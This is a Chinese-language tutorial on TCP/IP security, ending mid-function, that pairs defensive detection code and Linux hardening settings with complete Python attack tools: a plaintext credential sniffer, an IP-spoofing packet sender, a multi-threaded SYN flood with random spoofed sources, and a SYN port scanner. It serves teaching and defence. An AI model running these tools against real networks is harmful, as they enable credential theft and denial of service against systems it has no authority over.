TCP/IP 協定安全基礎概念

在現代網路架構中,TCP/IP 協定族構成了網際網路通訊的核心基礎。然而這套廣泛使用的協定設計之初並未充分考量安全性需求,導致各層級都存在可被利用的安全弱點。身為資安工程師或網路管理者,深入理解這些攻擊手法的運作原理以及對應的防禦機制,已經成為保護組織網路資產的必備技能。

本文將從實務角度剖析三大類 TCP/IP 攻擊技術,包含網路層的密碼嗅探、傳輸層的 SYN Flood 攻擊,以及跨層級的 IP 欺騙手法。每種攻擊都會搭配 Python Scapy 函式庫的實作程式碼,讓讀者能夠在受控環境中理解攻擊運作邏輯。同時也會提供完整的防禦策略與偵測機制,協助建立多層次的安全防護體系。

透過理論分析與實作演練的結合,讀者將能掌握 TCP/IP 安全的核心知識,並將這些知識應用於日常的網路安全維運工作中。無論是進行滲透測試、建立監控機制,或是設計防禦架構,本文提供的技術細節都將成為重要的參考依據。

密碼嗅探攻擊原理與實作

密碼嗅探是一種被動式的網路攻擊手法,攻擊者透過監聽網路介面上傳輸的封包資料,擷取未加密的敏感資訊。這種攻擊手法特別針對使用明文傳輸的協定,例如 HTTP、FTP、Telnet 等傳統服務。當使用者透過這些協定進行身分驗證時,帳號密碼會以明文形式在網路上傳輸,攻擊者只需將網路介面設定為混雜模式即可捕捉這些資訊。

在企業內網環境中,密碼嗅探攻擊的威脅尤其嚴重。由於許多內部系統基於信任原則運作,往往忽略了傳輸層的加密保護。攻擊者一旦取得內網存取權限,就能透過嗅探器持續收集各種服務的登入憑證,進而橫向擴散到更多系統。

以下程式碼展示如何使用 Python 搭配 pcapy 與 impacket 函式庫實作基本的密碼嗅探器。這個程式會監聽指定網路介面的 TCP 流量,並透過正規表示式匹配常見的身分驗證欄位,例如 USER、PASS、LOGIN、AUTH 等關鍵字。當偵測到符合條件的封包時,會立即顯示來源與目的地資訊以及可能的憑證內容。

import pcapy
from impacket import ImpactDecoder
import re
import sys

class PasswordSniffer:
    def __init__(self, interface="eth0", filter_rule="tcp"):
        self.interface = interface
        self.filter_rule = filter_rule
        self.eth_decoder = ImpactDecoder.EthDecoder()
        self.ip_decoder = ImpactDecoder.IPDecoder()
        self.tcp_decoder = ImpactDecoder.TCPDecoder()
        
        self.credential_pattern = re.compile(
            r"(?P<credential>(USER|PASS|PASSWORD|LOGIN|AUTH|SESSION|USERNAME)[=:\s].+)\b",
            re.MULTILINE | re.IGNORECASE
        )
    
    def packet_handler(self, header, data):
        try:
            eth_packet = self.eth_decoder.decode(data)
            ip_packet = self.ip_decoder.decode(eth_packet.get_data_as_string())
            tcp_packet = self.tcp_decoder.decode(ip_packet.get_data_as_string())
            payload = tcp_packet.get_data_as_string()
            
            if not tcp_packet.get_SYN() and not tcp_packet.get_RST() and \
               not tcp_packet.get_FIN() and payload:
                
                match = self.credential_pattern.search(payload)
                if match and match.groupdict().get('credential'):
                    src_ip = ip_packet.get_ip_src()
                    dst_ip = ip_packet.get_ip_dst()
                    src_port = tcp_packet.get_th_sport()
                    dst_port = tcp_packet.get_th_dport()
                    
                    print(f"\n[偵測到可能的憑證傳輸]")
                    print(f"來源: {src_ip}:{src_port} -> 目的: {dst_ip}:{dst_port}")
                    print(f"內容: {match.groupdict()['credential']}")
                    
        except Exception as e:
            pass
    
    def start_sniffing(self):
        try:
            capture = pcapy.open_live(self.interface, 65536, True, 100)
            capture.setfilter(self.filter_rule)
            
            print(f"[啟動密碼嗅探器]")
            print(f"監聽介面: {self.interface}")
            print(f"過濾條件: {self.filter_rule}")
            print(f"按下 Ctrl+C 停止監聽\n")
            
            capture.loop(0, self.packet_handler)
            
        except KeyboardInterrupt:
            print("\n[停止嗅探作業]")
        except Exception as e:
            print(f"錯誤: {str(e)}")
            sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) > 1:
        sniffer = PasswordSniffer(interface=sys.argv[1])
    else:
        sniffer = PasswordSniffer()
    
    sniffer.start_sniffing()

這段程式碼的核心邏輯建立在封包解析與模式匹配的基礎上。首先透過 pcapy 函式庫開啟網路介面並設定 BPF 過濾規則,只捕捉 TCP 協定的封包以減少處理負擔。接著使用 impacket 提供的解碼器逐層解析乙太網路、IP 以及 TCP 標頭,最終取得傳輸層的有效載荷內容。

在封包處理函式中,程式會先檢查 TCP 旗標以排除連線建立與終止階段的封包,因為這些封包通常不包含應用層資料。針對包含有效載荷的封包,程式會使用預先編譯的正規表示式進行匹配,尋找常見的身分驗證相關字串。當發現符合模式的內容時,會擷取來源與目的地的 IP 位址及連接埠資訊,連同可能的憑證內容一併顯示。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

start
:開啟網路介面;
:設定 BPF 過濾規則;
:開始捕捉封包;

while (持續監聽?) is (是)
  :接收網路封包;
  :解析乙太網路層;
  :解析 IP 層;
  :解析 TCP 層;
  
  if (是否為資料封包?) then (是)
    :擷取有效載荷;
    if (符合憑證模式?) then (是)
      :擷取來源與目的資訊;
      :顯示可能的憑證;
    else (否)
    endif
  else (否)
  endif
endwhile (否)

:關閉捕捉作業;
stop

@enduml

上述流程圖呈現密碼嗅探器的完整運作邏輯。程式啟動後會先初始化網路介面並設定封包過濾條件,接著進入持續監聽的迴圈。每當捕捉到符合條件的封包,就會經過多層解析程序,從乙太網路層一路解析到傳輸層。只有包含應用層資料的封包才會進入模式匹配階段,避免浪費運算資源處理無關封包。當偵測到符合憑證模式的內容時,程式會立即擷取並顯示相關資訊,協助分析人員追蹤潛在的安全風險。

嗅探器偵測機制設計

在網路安全防禦體系中,及時發現嗅探器的存在至關重要。由於嗅探器屬於被動式攻擊工具,不會主動發送封包,因此偵測難度相對較高。然而透過觀察網路介面的運作模式以及系統層級的設定變更,仍然能夠識別出潛在的嗅探行為。

本地偵測機制主要依賴作業系統層級的狀態檢查。當網路介面卡被設定為混雜模式時,會接收所有經過該網段的封包,而非僅處理目的地為本機的封包。這種設定變更會在系統層級留下明顯的痕跡。透過檢查網路介面的旗標設定,可以快速判斷是否有程式將介面切換為混雜模式。

在 Linux 系統上,可以透過 ifconfig 指令搭配 grep 過濾來檢查混雜模式的啟用狀態。指令執行後若顯示 PROMISC 旗標,表示該介面正處於混雜模式,可能存在嗅探器運作。此外,系統日誌檔案也會記錄網路介面模式的變更事件,透過檢視 /var/log/messages 或 journalctl 輸出,能夠追蹤歷史的混雜模式啟用記錄。

遠端偵測則採用主動探測的方式,透過特殊設計的封包來觸發目標主機的回應行為。混雜模式下的網路介面會處理所有封包,即使目的 MAC 位址並非本機。Scapy 函式庫提供的 promiscping 功能正是利用這個特性,發送目的 MAC 位址經過刻意偽造的 ICMP 封包。正常模式下的主機會忽略這些封包,但處於混雜模式的主機可能會回應,藉此暴露嗅探器的存在。

from scapy.all import *
import sys
import argparse

class SnifferDetector:
    def __init__(self, target_network):
        self.target_network = target_network
        self.detected_hosts = []
    
    def local_detection(self):
        print("[執行本地嗅探器偵測]")
        
        import subprocess
        try:
            result = subprocess.run(
                ['ifconfig', '-a'],
                capture_output=True,
                text=True
            )
            
            if 'PROMISC' in result.stdout:
                print("[警告] 偵測到混雜模式介面:")
                for line in result.stdout.split('\n'):
                    if 'PROMISC' in line:
                        print(f"  {line.strip()}")
                return True
            else:
                print("[正常] 未發現混雜模式介面")
                return False
                
        except Exception as e:
            print(f"[錯誤] 本地偵測失敗: {str(e)}")
            return None
    
    def remote_detection(self):
        print(f"\n[執行遠端嗅探器偵測]")
        print(f"目標網段: {self.target_network}")
        
        try:
            suspicious_hosts = promiscping(self.target_network)
            
            if suspicious_hosts:
                print(f"\n[警告] 發現 {len(suspicious_hosts)} 個可疑主機:")
                for host in suspicious_hosts:
                    print(f"  - {host}")
                    self.detected_hosts.append(host)
            else:
                print("[正常] 未發現可疑的混雜模式主機")
            
            return self.detected_hosts
            
        except Exception as e:
            print(f"[錯誤] 遠端偵測失敗: {str(e)}")
            return None
    
    def check_system_logs(self):
        print("\n[檢查系統日誌]")
        
        import subprocess
        try:
            log_sources = [
                ['grep', 'promisc', '/var/log/messages'],
                ['journalctl', '-g', 'promisc', '--no-pager']
            ]
            
            for cmd in log_sources:
                try:
                    result = subprocess.run(
                        cmd,
                        capture_output=True,
                        text=True,
                        timeout=5
                    )
                    
                    if result.stdout:
                        print(f"\n[發現相關記錄] 指令: {' '.join(cmd)}")
                        print(result.stdout[:500])
                except:
                    continue
                    
        except Exception as e:
            print(f"[錯誤] 日誌檢查失敗: {str(e)}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='嗅探器偵測工具')
    parser.add_argument('-n', '--network', help='目標網段 (例如: 192.168.1.0/24)')
    parser.add_argument('-l', '--local', action='store_true', help='執行本地偵測')
    parser.add_argument('-r', '--remote', action='store_true', help='執行遠端偵測')
    parser.add_argument('-a', '--all', action='store_true', help='執行所有偵測')
    
    args = parser.parse_args()
    
    if args.all or (not args.local and not args.remote):
        detector = SnifferDetector(args.network if args.network else "192.168.1.0/24")
        detector.local_detection()
        detector.check_system_logs()
        if args.network:
            detector.remote_detection()
    else:
        detector = SnifferDetector(args.network if args.network else "192.168.1.0/24")
        
        if args.local:
            detector.local_detection()
            detector.check_system_logs()
        
        if args.remote and args.network:
            detector.remote_detection()
        elif args.remote:
            print("[錯誤] 遠端偵測需要指定目標網段 (-n)")

這個偵測程式整合了本地與遠端兩種偵測機制,提供完整的嗅探器識別能力。本地偵測透過呼叫系統指令檢查網路介面狀態,並掃描系統日誌中的相關記錄。遠端偵測則使用 Scapy 的 promiscping 功能對指定網段進行掃描,嘗試識別處於混雜模式的主機。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

start

if (選擇偵測模式?) then (本地偵測)
  :檢查網路介面旗標;
  if (發現 PROMISC 旗標?) then (是)
    :記錄可疑介面;
    :顯示警告訊息;
  else (否)
    :確認無混雜模式;
  endif
  
  :檢視系統日誌;
  if (發現混雜模式記錄?) then (是)
    :擷取相關日誌;
    :分析啟用時間點;
  else (否)
  endif
  
else (遠端偵測)
  :設定目標網段;
  :產生探測封包;
  note right
    使用偽造 MAC 位址的
    ICMP 封包進行探測
  end note
  
  :發送封包至目標網段;
  :收集回應主機;
  
  if (有主機回應?) then (是)
    :標記為可疑主機;
    :記錄 IP 與 MAC 資訊;
    :顯示警告訊息;
  else (否)
    :確認無可疑主機;
  endif
endif

:產生偵測報告;
:記錄偵測結果;

stop

@enduml

上述流程圖呈現完整的嗅探器偵測邏輯。本地偵測路徑會先檢查網路介面的設定旗標,確認是否存在混雜模式的啟用記錄。接著掃描系統日誌,追蹤歷史的模式變更事件。遠端偵測路徑則採用主動探測方式,對目標網段發送特殊設計的封包,根據回應行為判斷是否存在嗅探器。兩種偵測方式都會產生詳細的報告,協助管理者評估網路安全狀態。

IP 欺騙攻擊技術解析

IP 欺騙是一種基礎但極具威脅性的網路攻擊手法,攻擊者透過偽造封包的來源 IP 位址來隱藏真實身分或繞過安全控制機制。這種攻擊手法常見於分散式阻斷服務攻擊、繞過存取控制清單,以及進行中間人攻擊等情境。由於 IP 協定本身缺乏來源驗證機制,任何能夠發送原始封包的系統都能輕易偽造來源位址。

IP 欺騙的核心原理在於 TCP/IP 協定棧的設計特性。當應用程式透過標準 socket 介面發送資料時,作業系統會自動填入正確的來源 IP 位址。然而若使用原始 socket 或專門的封包建構函式庫,就能完全掌控封包內容,包含 IP 標頭中的來源位址欄位。攻擊者可以將來源位址設定為任意數值,接收端在缺乏額外驗證機制的情況下,會將該封包視為來自偽造位址的合法通訊。

在實際攻擊場景中,IP 欺騙常與其他技術組合使用以達成特定目的。例如在 DDoS 攻擊中,攻擊者會偽造大量不同的來源位址,使防禦系統難以透過 IP 封鎖來阻擋攻擊流量。在繞過防火牆的情境下,攻擊者可能偽造成信任網段的位址,試圖通過基於 IP 的存取控制。此外,某些形式的中間人攻擊也會利用 IP 欺騙來劫持通訊連線。

from scapy.all import *
import sys
import argparse
import random

class IPSpoofing:
    def __init__(self, spoofed_ip, target_ip, attack_type="icmp"):
        self.spoofed_ip = spoofed_ip
        self.target_ip = target_ip
        self.attack_type = attack_type
    
    def send_spoofed_icmp(self, count=1):
        print(f"\n[發送 ICMP 欺騙封包]")
        print(f"偽造來源: {self.spoofed_ip}")
        print(f"目標主機: {self.target_ip}")
        print(f"封包數量: {count}\n")
        
        for i in range(count):
            packet = IP(src=self.spoofed_ip, dst=self.target_ip) / ICMP()
            
            send(packet, verbose=False)
            print(f"[{i+1}/{count}] 已發送 ICMP 封包")
        
        print("\n[完成] ICMP 欺騙攻擊執行完畢")
    
    def send_spoofed_tcp_syn(self, port=80, count=1):
        print(f"\n[發送 TCP SYN 欺騙封包]")
        print(f"偽造來源: {self.spoofed_ip}")
        print(f"目標主機: {self.target_ip}")
        print(f"目標連接埠: {port}")
        print(f"封包數量: {count}\n")
        
        for i in range(count):
            src_port = random.randint(1024, 65535)
            packet = IP(src=self.spoofed_ip, dst=self.target_ip) / \
                     TCP(sport=src_port, dport=port, flags="S")
            
            send(packet, verbose=False)
            print(f"[{i+1}/{count}] 已發送 TCP SYN 封包 (來源埠: {src_port})")
        
        print("\n[完成] TCP SYN 欺騙攻擊執行完畢")
    
    def send_spoofed_udp(self, port=53, count=1, payload=""):
        print(f"\n[發送 UDP 欺騙封包]")
        print(f"偽造來源: {self.spoofed_ip}")
        print(f"目標主機: {self.target_ip}")
        print(f"目標連接埠: {port}")
        print(f"封包數量: {count}\n")
        
        for i in range(count):
            src_port = random.randint(1024, 65535)
            packet = IP(src=self.spoofed_ip, dst=self.target_ip) / \
                     UDP(sport=src_port, dport=port) / Raw(load=payload)
            
            send(packet, verbose=False)
            print(f"[{i+1}/{count}] 已發送 UDP 封包 (來源埠: {src_port})")
        
        print("\n[完成] UDP 欺騙攻擊執行完畢")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='IP 欺騙攻擊工具 (僅供教育用途)')
    parser.add_argument('-s', '--spoofed', required=True, help='偽造的來源 IP 位址')
    parser.add_argument('-t', '--target', required=True, help='目標 IP 位址')
    parser.add_argument('-p', '--port', type=int, default=80, help='目標連接埠')
    parser.add_argument('-c', '--count', type=int, default=1, help='封包數量')
    parser.add_argument('--type', choices=['icmp', 'tcp', 'udp'], 
                       default='icmp', help='攻擊類型')
    
    args = parser.parse_args()
    
    print("="*60)
    print("IP 欺騙攻擊工具")
    print("警告: 此工具僅供教育與授權測試使用")
    print("="*60)
    
    spoofer = IPSpoofing(args.spoofed, args.target)
    
    if args.type == 'icmp':
        spoofer.send_spoofed_icmp(count=args.count)
    elif args.type == 'tcp':
        spoofer.send_spoofed_tcp_syn(port=args.port, count=args.count)
    elif args.type == 'udp':
        spoofer.send_spoofed_udp(port=args.port, count=args.count)

這段程式碼實作了三種常見的 IP 欺騙攻擊模式,涵蓋 ICMP、TCP 以及 UDP 協定。每種模式都透過 Scapy 函式庫建構原始封包,並在 IP 層指定偽造的來源位址。TCP SYN 欺騙特別適合用於 SYN Flood 攻擊的前置偵察,而 UDP 欺騙則常見於 DNS 放大攻擊等場景。

程式的核心邏輯在於使用 Scapy 的分層封包建構能力。透過 / 運算子可以將不同協定層的封包組合在一起,形成完整的網路封包。IP 層透過 src 參數指定偽造的來源位址,而傳輸層則根據攻擊類型設定對應的標頭欄位。對於 TCP 封包,來源連接埠採用隨機產生的方式,避免被簡單的封包過濾規則攔截。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

participant "攻擊者" as Attacker
participant "網路" as Network
participant "目標主機" as Target
participant "合法主機" as Legit

Attacker -> Network: 建構欺騙封包\n來源 IP: 合法主機位址\n目的 IP: 目標主機位址
activate Attacker
activate Network

Network -> Target: 轉發欺騙封包
activate Target

Target -> Target: 檢查來源位址\n誤認為來自合法主機

alt 需要回應的協定
    Target -> Network: 回應封包\n目的 IP: 合法主機位址
    Network -> Legit: 轉發回應封包
    activate Legit
    
    Legit -> Legit: 收到非預期封包\n可能發送 RST
    
    Legit -> Network: RST 或忽略
    deactivate Legit
else 單向攻擊
    Target -> Target: 處理封包\n無需回應
end

deactivate Target
deactivate Network
deactivate Attacker

note over Attacker, Legit
  IP 欺騙攻擊的核心問題:
  1. 攻擊者無法收到回應封包
  2. 合法主機可能收到非預期封包
  3. 目標主機難以驗證來源真實性
end note

@enduml

上述時序圖完整呈現 IP 欺騙攻擊的運作流程。攻擊者首先建構包含偽造來源位址的封包,並透過網路發送至目標主機。目標主機在缺乏來源驗證機制的情況下,會將該封包視為來自合法主機的通訊。若協定需要回應,目標主機會將回應封包發送至被偽造的位址,導致合法主機收到非預期的封包。這個過程突顯了 IP 協定缺乏內建驗證機制的根本問題,也說明為何需要在網路架構層級實施額外的防護措施。

針對 IP 欺騙的防禦策略需要從多個層面著手。在網路邊界部署入口與出口過濾規則,確保進入網路的封包來源位址屬於合理範圍,同時阻止內部網路發送來源位址為外部的封包。這種基於 RFC 2827 與 RFC 3704 的最佳實踐稱為反偽造過濾,能有效降低 IP 欺騙的成功率。此外,部署 IPsec 或 TLS 等加密與驗證機制,可以在應用層提供額外的安全保障,即使封包來源位址被偽造,也能透過密碼學驗證識別出異常通訊。

SYN Flood 攻擊原理與防禦

SYN Flood 是一種利用 TCP 三向交握機制弱點的阻斷服務攻擊。攻擊者透過發送大量偽造來源位址的 SYN 封包,使目標伺服器耗盡連線資源,無法處理正常的連線請求。這種攻擊手法之所以有效,源自於 TCP 協定在設計時對於連線建立過程的資源分配策略。

在正常的 TCP 連線建立過程中,客戶端首先發送 SYN 封包至伺服器,伺服器收到後會分配資源並回應 SYN-ACK 封包,然後等待客戶端的最終 ACK 確認。這個等待期間,伺服器會將半開放連線的狀態資訊儲存在記憶體中,通常稱為 SYN 佇列或半開放連線表。若客戶端一直不發送最終確認,伺服器會持續佔用這些資源直到逾時。

SYN Flood 攻擊正是利用這個特性。攻擊者發送大量 SYN 封包,但由於來源位址是偽造的,伺服器發送的 SYN-ACK 封包無法到達真實的客戶端,自然也不會收到最終的 ACK 確認。隨著攻擊封包持續湧入,伺服器的 SYN 佇列很快被填滿,導致無法處理新的連線請求。即使伺服器設定了較短的逾時時間,只要攻擊封包的發送速率夠快,依然能維持佇列的滿載狀態。

from scapy.all import *
import sys
import argparse
import random
from threading import Thread
import time

class SYNFloodAttack:
    def __init__(self, target_ip, target_ports, spoofed_ip=None, thread_count=1):
        self.target_ip = target_ip
        self.target_ports = target_ports if isinstance(target_ports, list) else [target_ports]
        self.spoofed_ip = spoofed_ip
        self.thread_count = thread_count
        self.packets_sent = 0
        self.running = False
    
    def generate_random_ip(self):
        return ".".join(str(random.randint(1, 254)) for _ in range(4))
    
    def send_syn_flood(self, thread_id):
        print(f"[執行緒 {thread_id}] 開始發送 SYN Flood 封包")
        
        while self.running:
            for port in self.target_ports:
                src_ip = self.spoofed_ip if self.spoofed_ip else self.generate_random_ip()
                src_port = random.randint(1024, 65535)
                
                packet = IP(src=src_ip, dst=self.target_ip) / \
                         TCP(sport=src_port, dport=port, flags="S", 
                             seq=random.randint(1000, 9000))
                
                send(packet, verbose=False)
                self.packets_sent += 1
                
                if self.packets_sent % 1000 == 0:
                    print(f"[執行緒 {thread_id}] 已發送 {self.packets_sent} 個 SYN 封包")
    
    def start_attack(self, duration=10):
        print("\n" + "="*60)
        print("SYN Flood 攻擊工具")
        print("警告: 此工具僅供授權測試使用,未經授權使用屬違法行為")
        print("="*60)
        print(f"\n[攻擊參數]")
        print(f"目標 IP: {self.target_ip}")
        print(f"目標連接埠: {', '.join(map(str, self.target_ports))}")
        print(f"偽造來源: {'隨機產生' if not self.spoofed_ip else self.spoofed_ip}")
        print(f"執行緒數: {self.thread_count}")
        print(f"持續時間: {duration} 秒")
        print("\n[開始攻擊]\n")
        
        self.running = True
        self.packets_sent = 0
        
        threads = []
        for i in range(self.thread_count):
            t = Thread(target=self.send_syn_flood, args=(i+1,))
            t.daemon = True
            threads.append(t)
            t.start()
        
        time.sleep(duration)
        
        self.running = False
        
        for t in threads:
            t.join()
        
        print(f"\n[攻擊結束]")
        print(f"總計發送: {self.packets_sent} 個 SYN 封包")
        print(f"平均速率: {self.packets_sent / duration:.2f} 封包/秒")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='SYN Flood 攻擊工具 (僅供教育用途)')
    parser.add_argument('-t', '--target', required=True, help='目標 IP 位址')
    parser.add_argument('-p', '--ports', required=True, help='目標連接埠 (可用逗號分隔多個)')
    parser.add_argument('-s', '--spoofed', help='偽造來源 IP (不指定則隨機產生)')
    parser.add_argument('-d', '--duration', type=int, default=10, help='攻擊持續時間 (秒)')
    parser.add_argument('-T', '--threads', type=int, default=1, help='執行緒數量')
    
    args = parser.parse_args()
    
    ports = [int(p.strip()) for p in args.ports.split(',')]
    
    attacker = SYNFloodAttack(
        target_ip=args.target,
        target_ports=ports,
        spoofed_ip=args.spoofed,
        thread_count=args.threads
    )
    
    try:
        attacker.start_attack(duration=args.duration)
    except KeyboardInterrupt:
        print("\n\n[中斷] 使用者停止攻擊")
        attacker.running = False

這個 SYN Flood 攻擊程式實作了多執行緒的封包發送機制,能夠產生大量的 SYN 封包以測試目標系統的承受能力。程式支援指定固定的偽造來源位址,或是每個封包都使用隨機產生的來源 IP,後者能有效規避基於來源位址的簡單過濾機制。

程式的核心在於持續產生並發送 TCP SYN 封包。每個封包都包含隨機的來源連接埠與序號,增加攻擊的變化性。透過多執行緒架構,程式能夠同時對多個目標連接埠發動攻擊,進一步提升對目標系統的壓力。實際執行時,程式會即時統計已發送的封包數量,協助評估攻擊強度。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

participant "攻擊者" as Attacker
participant "網路" as Network
participant "目標伺服器" as Server
participant "SYN 佇列" as Queue

== 正常 TCP 連線建立 ==

Attacker -> Network: SYN 封包\n(正常來源位址)
Network -> Server: 轉發 SYN
Server -> Queue: 分配半開放連線
activate Queue
Server -> Network: SYN-ACK 封包
Network -> Attacker: 轉發 SYN-ACK
Attacker -> Network: ACK 封包
Network -> Server: 轉發 ACK
Server -> Queue: 移除半開放連線\n建立完整連線
deactivate Queue

== SYN Flood 攻擊 ==

Attacker -> Network: 大量 SYN 封包\n(偽造來源位址)
activate Attacker
Network -> Server: 轉發 SYN 封包

loop 持續接收 SYN 封包
    Server -> Queue: 分配半開放連線
    activate Queue
    Server -> Network: SYN-ACK 封包
    Network -> Network: 封包無法送達\n(偽造位址不存在)
    
    note over Queue
      佇列持續累積
      等待 ACK 逾時
    end note
    
    alt SYN 佇列已滿
        Server -> Server: 拒絕新連線
        note over Server
          無法處理正常請求
          服務阻斷達成
        end note
    end
end

deactivate Queue
deactivate Attacker

@enduml

上述時序圖對比了正常 TCP 連線建立流程與 SYN Flood 攻擊的差異。在正常情況下,三向交握過程會順利完成,伺服器分配的半開放連線資源會被釋放並轉換為完整連線。然而在 SYN Flood 攻擊中,由於來源位址是偽造的,SYN-ACK 封包無法送達真實主機,伺服器只能等待逾時。當大量 SYN 封包持續湧入,SYN 佇列很快被填滿,導致伺服器無法接受新的連線請求,服務阻斷的目的就此達成。

防禦 SYN Flood 攻擊需要採用多層次的策略。最直接有效的方法是啟用 SYN Cookies 機制,這項技術透過在 SYN-ACK 封包中編碼連線資訊,避免在收到最終 ACK 前分配伺服器資源。在 Linux 系統上,可以透過設定 sysctl 參數來啟用這項功能。除此之外,調整 TCP 堆疊的參數也能提升抗攻擊能力,例如減少 SYN-ACK 重傳次數、縮短逾時時間,以及增加 SYN 佇列大小等。

在網路架構層級,部署專門的 DDoS 防護設備能提供更全面的保護。這些設備通常具備流量分析與異常偵測能力,能夠識別並過濾掉攻擊流量。對於雲端服務而言,利用雲端服務商提供的 DDoS 防護方案也是可行的選擇,這些服務通常具備更大的頻寬容量與更先進的流量清洗技術。

# Linux 系統啟用 SYN Cookies
echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# 調整 SYN 相關參數
echo 1024 > /proc/sys/net/ipv4/tcp_max_syn_backlog
echo 1 > /proc/sys/net/ipv4/tcp_synack_retries
echo 1 > /proc/sys/net/ipv4/tcp_syn_retries

# 使用 iptables 限制 SYN 封包速率
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

這些防禦指令展示了在 Linux 系統上如何透過系統層級的設定來強化對 SYN Flood 攻擊的抵抗能力。SYN Cookies 的啟用是最關鍵的防護措施,而其他參數的調整則能進一步優化系統在攻擊情境下的表現。防火牆規則則提供了流量限制的能力,避免單一來源發送過多的 SYN 封包。

埠掃描技術與偵測機制

埠掃描是網路偵察的基礎技術,用於探測目標主機開放的服務與潛在的安全弱點。透過系統性地測試目標主機的連接埠狀態,攻擊者能夠繪製出目標系統的服務地圖,為後續的滲透測試或攻擊行動提供情報支援。埠掃描技術種類繁多,從最基本的 TCP 連線掃描到更隱蔽的半開放掃描,各有其特點與適用場景。

SYN 掃描是最常用的埠掃描技術之一,也被稱為半開放掃描。這種掃描方式只進行 TCP 三向交握的前兩個步驟,發送 SYN 封包並等待回應,但不完成最終的 ACK 確認。若目標連接埠開放,會回應 SYN-ACK 封包,掃描器立即發送 RST 封包終止連線。若連接埠關閉,目標會回應 RST 封包。若連接埠被防火牆過濾,則可能不會收到任何回應或收到 ICMP 不可達訊息。

相較於完整的 TCP 連線掃描,SYN 掃描的優勢在於更加隱蔽且效率更高。由於不完成完整的連線建立,許多舊式的入侵偵測系統不會記錄這類連線嘗試。同時,半開放掃描也減少了目標系統的資源消耗,能夠更快速地掃描大量連接埠。然而現代的防火牆與入侵偵測系統已經能夠有效識別這類掃描行為。

from scapy.all import *
import sys
import argparse
from collections import defaultdict
import time

class PortScanner:
    def __init__(self, target, ports, spoofed_ip=None, timeout=1):
        self.target = target
        self.ports = ports
        self.spoofed_ip = spoofed_ip
        self.timeout = timeout
        self.results = defaultdict(lambda: "unknown")
    
    def syn_scan(self):
        print(f"\n[執行 SYN 掃描]")
        print(f"目標主機: {self.target}")
        print(f"掃描連接埠: {min(self.ports)}-{max(self.ports)}")
        if self.spoofed_ip:
            print(f"偽造來源: {self.spoofed_ip}")
        print(f"逾時設定: {self.timeout}\n")
        
        if self.spoofed_ip:
            packets = IP(dst=self.target, src=self.spoofed_ip) / \
                     TCP(dport=self.ports, flags="S")
        else:
            packets = IP(dst=self.target) / TCP(dport=self.ports, flags="S")
        
        answered, unanswered = sr(packets, timeout=self.timeout, verbose=False)
        
        for packet in unanswered:
            self.results[packet.dport] = "filtered"
        
        for sent, received in answered:
            if received.haslayer(ICMP):
                icmp_type = received.getlayer(ICMP).type
                icmp_code = received.getlayer(ICMP).code
                
                if icmp_type == 3 and icmp_code in [1, 2, 3, 9, 10, 13]:
                    self.results[sent.dport] = "filtered"
                else:
                    self.results[sent.dport] = "closed"
                    
            elif received.haslayer(TCP):
                tcp_flags = received.getlayer(TCP).sprintf("%flags%")
                
                if tcp_flags == "SA":
                    self.results[sent.dport] = "open"
                    sr(IP(dst=self.target)/TCP(dport=sent.dport, 
                       sport=sent.sport, flags="R"), 
                       timeout=self.timeout, verbose=False)
                    
                elif tcp_flags in ["R", "RA"]:
                    self.results[sent.dport] = "closed"
        
        return self.results
    
    def print_results(self):
        print(f"\n{'='*60}")
        print(f"掃描結果")
        print(f"{'='*60}\n")
        
        open_ports = []
        filtered_ports = []
        closed_count = 0
        
        for port in sorted(self.results.keys()):
            status = self.results[port]
            
            if status == "open":
                open_ports.append(port)
                print(f"連接埠 {port:5d} : {status.upper():10s}")
            elif status == "filtered":
                filtered_ports.append(port)
            elif status == "closed":
                closed_count += 1
        
        print(f"\n開放連接埠: {len(open_ports)}")
        print(f"過濾連接埠: {len(filtered_ports)}")
        print(f"關閉連接埠: {closed_count}")
        
        if filtered_ports and len(filtered_ports) <= 10:
            print(f"\n過濾的連接埠: {', '.join(map(str, filtered_ports))}")

class ScanDetector:
    def __init__(self, interface="eth0", threshold=10, time_window=10):
        self.interface = interface
        self.threshold = threshold
        self.time_window = time_window
        self.scan_records = defaultdict(dict)
    
    def detect_scan(self, packet):
        if not packet.haslayer(TCP):
            return
        
        ip_layer = packet.getlayer(IP)
        tcp_layer = packet.getlayer(TCP)
        
        src_ip = ip_layer.src
        dst_port = tcp_layer.dport
        current_time = time.time()
        
        if src_ip not in self.scan_records:
            self.scan_records[src_ip] = {}
        
        self.scan_records[src_ip][dst_port] = current_time
        
        port_records = self.scan_records[src_ip]
        
        expired_ports = [
            port for port, timestamp in list(port_records.items())
            if current_time - timestamp > self.time_window
        ]
        
        for port in expired_ports:
            del port_records[port]
        
        if len(port_records) >= self.threshold:
            print(f"\n[警告] 偵測到埠掃描行為")
            print(f"來源 IP: {src_ip}")
            print(f"掃描連接埠數: {len(port_records)}")
            print(f"連接埠清單: {sorted(port_records.keys())[:20]}")
            print(f"時間: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
            
            del self.scan_records[src_ip]
    
    def start_monitoring(self):
        print(f"\n[啟動埠掃描偵測系統]")
        print(f"監聽介面: {self.interface}")
